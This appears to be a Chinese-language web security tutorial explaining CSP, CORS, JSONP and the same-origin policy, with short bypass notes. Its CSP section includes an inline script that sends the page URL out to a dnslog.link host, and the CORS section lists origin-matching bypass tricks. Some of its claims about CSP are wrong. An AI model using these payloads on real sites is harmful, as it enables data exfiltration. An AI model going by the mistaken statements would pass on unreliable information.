CSP(内容安全策略):

CSP指的是内容安全策略,为了缓解很大一部分潜在的跨站脚本问题,浏览器的扩展程序系统引入了内容安全策略(CSP)的一般概念。

CSP是基于白名单的,他只会允许白名单内的标签或url引入外部链接。在使用了CSP后,浏览器会将只执行外部引入的JS,内嵌JS无法有效执行

设置CSP共两种方式:

  1. HTTP头
  2. Meta标签
<meta http-equiv="Content-Security-Policy" content="script-src 'self'">

传入此meta标签后,浏览器将只允许执行同源下的JS。

DemoCode

使用以下代码进行测试,将会出现警告

<meta http-equiv="Content-Security-Policy" content="script-src 'self'">
<script src="http://www.f4ckweb.top/"></script>

640.webp

使用以下代码测试,同杨不会执行:

<meta http-equiv="Content-Security-Policy" content="script-src 'self'">
<script>
  alert(1);
</script>

640 (1).webp

绕过

CSP绕过并没有什么绝对的绕过方式,一切绕过均需要参考CSP策略的设置

当策略中出现:

  1. 'unsafe-inline'
  2. 'none'

则代表不匹配URL和允许使用内嵌JS,这种是没有任何过滤的。

当只出现 'unsafe-inline' 时:

<meta http-equiv="Content-Security-Policy" content="script-src 'self' 'unsafe-inline'">
<script>
var url = "http://"+document.location.href+".f53b221c.dnslog.link";
window.location = url;
</script>

存在上传时:

https://www.anquanke.com/post/id/151496

CORS(跨域资源访问):

CORS有一个很重要的HTTP响应头:Access-Control-Allow-Origin,它指明了可以由哪些域来访问此资源。并且它只会拦截JS请求,没办法拦截用户请求。

也就是说我使用正常的表单提交是不会被CORS拦截的,只有使用XMLHttpRequest才会被拦截。

JSONP:

JSONP不受CORS影响,但服务端返回必须为一个函数,并且函数名已知或可以进行定义。客户端在注册一个callback,即可使用jsonp,通俗的来说就是json劫持。但也有很大的限制就是只能进行读取,不能写入。

服务端远程文件 1.js:

jsonback({
    mts:'134',
    province:'四川',
})

服务端JS写法:

<script>
  function jsonback(data){
    console.log("首号:"+data.mts);
    console.log("地址:"+data.province);
  }
</script>
<script type="text/javascript" src="http://www.f4ckweb.top/1.js"></script>

注意上面代码中JS的顺序。
640 (2).webp

绕过:

同样,CORS也没有什么绝对的绕过方式,只能根据配置文件来进行绕过

  1. HTTP Response Access-Control-Allow-Origin: *

这种情况任意,匹配任意域名,和没设置差不过

  1. HTTP Response Access-Control-Allow-Origin: f4ckweb.top

这种情况下,可以使用多级域名绕过:

  1. f4ckweb.top.xxxx.com
  2. webwebf4ckweb.top
  3. 找一个CORS允许的域名,然后去找它的XSS漏洞(攻击成本过高)

同源策略:

同源策略用一句话说明就是同端口同协议同域名。

思考:

我有一个域名:www.0xNull.org
我还有一台服务器: 192.168.1.6
我将www.0xNull.org 绑定在了 192.168.1.6 上.
此时:
http://www.0xNull.org/1.php
http://192.168.1.6/1.php
是同源的吗?

绕过:

可自己wooyun:Uxss,我不会